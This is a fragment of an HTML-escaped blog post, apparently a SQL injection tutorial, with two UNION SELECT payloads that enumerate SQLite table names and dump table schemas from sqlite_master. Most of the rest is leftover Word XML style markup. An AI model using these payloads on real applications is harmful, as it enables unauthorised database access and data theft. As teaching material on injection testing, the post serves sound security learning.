&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;test&#39;)) UNION SELECT 1,name,3,4,5,6,7,8 from sqlite_master WHERE type=&#39;table&#39;-&lt;/span&gt;-&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DqBsAr5CTnORHpwO-26N6WRU4GzCDb_9HFGdCIUSq0Bj4CIn30sh_XuLgslYgn-xhIVn8ahX5gzkPJfCvZpz9wYX4dkPSMre9YLJYFJHV_fwuVIl6x5Hccwd2qfJylqxhStb4gTg/s1600/TableNames.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;60&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DqBsAr5CTnORHpwO-26N6WRU4GzCDb_9HFGdCIUSq0Bj4CIn30sh_XuLgslYgn-xhIVn8ahX5gzkPJfCvZpz9wYX4dkPSMre9YLJYFJHV_fwuVIl6x5Hccwd2qfJylqxhStb4gTg/s640/TableNames.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;Return Column Names&lt;/b&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
We can dump a Tables schema using the sql from sqlite_master WHERE type=&#39;table&#39;-- command&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;test&#39;)) UNION SELECT 1,sql,3,4,5,6,7,8 from sqlite_master WHERE type=&#39;table&#39;--&lt;/span&gt;&lt;/div&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;false&quot;
  DefSemiHidden=&quot;false&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;374&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footer&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;index heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of figures&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;envelope return&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;footnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;line number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;page number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;endnote text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;table of authorities&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;macro&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;toa heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Bullet 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Closing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Message Header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Salutation&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Date&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Note Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Block Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Hyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;FollowedHyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Document Map&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Plain Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;E-mail Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Top of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Bottom of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal (Web)&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Acronym&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Cite&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Code&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Definition&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Keyboard&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Preformatted&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Sample&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Typewriter&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Variable&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Table&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation subject&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;No List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 3&quot;/&gt;
